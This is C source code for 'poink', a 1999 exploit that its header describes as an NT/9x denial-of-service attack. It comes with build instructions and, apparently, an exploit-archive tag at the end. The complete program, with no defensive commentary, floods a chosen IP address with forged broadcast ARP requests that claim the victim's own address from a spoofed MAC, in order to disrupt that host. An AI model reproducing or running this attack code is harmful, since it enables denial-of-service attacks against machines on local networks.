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- /*
- * $Id: poink.c,v 1.1.1.1 2005/02/12 19:50:41 loni Exp $
- *
- * poink.c - NT/9x DOS attack
- *
- * Code:
- * Copyright (c) 1999 Mike D. Schiffman <mike@infonexus.com>
- * route|daemon9 <route@infonexus.com>
- * All rights reserved.
- *
- * Original Idea:
- * Joel Jacobson (joel@mobila.cx)
- *
- * This simple exploit was written as per the specification from Joel
- * Jacobson's bugtraq post (http://geek-girl.com/bugtraq/1999_1/1299.html).
- *
- * Needs libnet 0.99.
- * Currently: http://lazy.accessus.net/~route/libnet
- * Soon: http://www.packetfactory.net/
- *
- * gcc poink.c -o poink -lnet
- *
- * Redistribution and use in source and binary forms, with or without
- * modification, are permitted provided that the following conditions
- * are met:
- * 1. Redistributions of source code must retain the above copyright
- * notice, this list of conditions and the following disclaimer.
- * 2. Redistributions in binary form must reproduce the above copyright
- * notice, this list of conditions and the following disclaimer in the
- * documentation and/or other materials provided with the distribution.
- *
- * THIS SOFTWARE IS PROVIDED BY THE AUTHOR AND CONTRIBUTORS ``AS IS'' AND
- * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
- * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE
- * ARE DISCLAIMED. IN NO EVENT SHALL THE AUTHOR OR CONTRIBUTORS BE LIABLE
- * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
- * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS
- * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
- * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
- * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
- * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF
- * SUCH DAMAGE.
- *
- */
-
- #include <libnet.h>
-
- u_char enet_src[6] = {0x00, 0x0d, 0x0e, 0x0a, 0x0d, 0x00};
- u_char enet_dst[6] = {0xff, 0xff, 0xff, 0xff, 0xff, 0xff};
-
- int send_arp(struct link_int *, u_long, u_char *);
- void usage(u_char *);
-
- int
- main(int argc, char *argv[])
- {
- int c, amount;
- char errbuf[256];
- char *device = NULL;
- struct link_int *l;
- u_long ip;
-
- amount = 20;
- while ((c = getopt(argc, argv, "n:i:")) != EOF)
- {
- switch (c)
- {
- case 'i':
- device = optarg;
- break;
- case 'n':
- amount = atoi(optarg);
- break;
- default:
- exit(EXIT_FAILURE);
- }
- }
-
- if (!device)
- {
- usage(argv[0]);
- exit(EXIT_FAILURE);
- }
-
- if (argc <= optind)
- {
- usage(argv[0]);
- exit(EXIT_FAILURE);
- }
- else if ((ip = libnet_name_resolve(argv[optind], 1)) == -1)
- {
- fprintf(stderr, "Cannot resolve IP address\n");
- exit(EXIT_FAILURE);
- }
-
- l = libnet_open_link_interface(device, errbuf);
- if (!l)
- {
- fprintf(stderr, "libnet_open_link_interface: %s\n", errbuf);
- exit(EXIT_FAILURE);
- }
-
- while (amount--)
- {
- c = send_arp(l, ip, device);
- if (c == -1)
- {
- /* bail on the first error */
- break;
- }
- }
- printf("\n");
- return (c == -1 ? EXIT_FAILURE : EXIT_SUCCESS);
- }
-
-
- int
- send_arp(struct link_int *l, u_long ip, u_char *device)
- {
- int n;
- u_char *buf;
-
- if (libnet_init_packet(ARP_H + ETH_H, &buf) == -1)
- {
- perror("libnet_init_packet memory:");
- exit(EXIT_FAILURE);
- }
-
- /*
- * Ethernet header
- */
- libnet_build_ethernet(enet_dst, enet_src, ETHERTYPE_ARP, NULL, 0, buf);
-
- /*
- * ARP header
- */
- libnet_build_arp(ARPHRD_ETHER,
- ETHERTYPE_IP,
- 6,
- 4,
- ARPOP_REQUEST,
- enet_src,
- (u_char *)&ip,
- enet_dst,
- (u_char *)&ip,
- NULL,
- 0,
- buf + ETH_H);
-
- n = libnet_write_link_layer(l, device, buf, ARP_H + ETH_H);
-
- fprintf(stderr, ".");
-
- libnet_destroy_packet(&buf);
- return (n);
- }
-
-
- void
- usage(u_char *name)
- {
- fprintf(stderr, "%s -i interface [-n amount] ip\n", name);
- }
- /* www.hack.co.za [2000]*/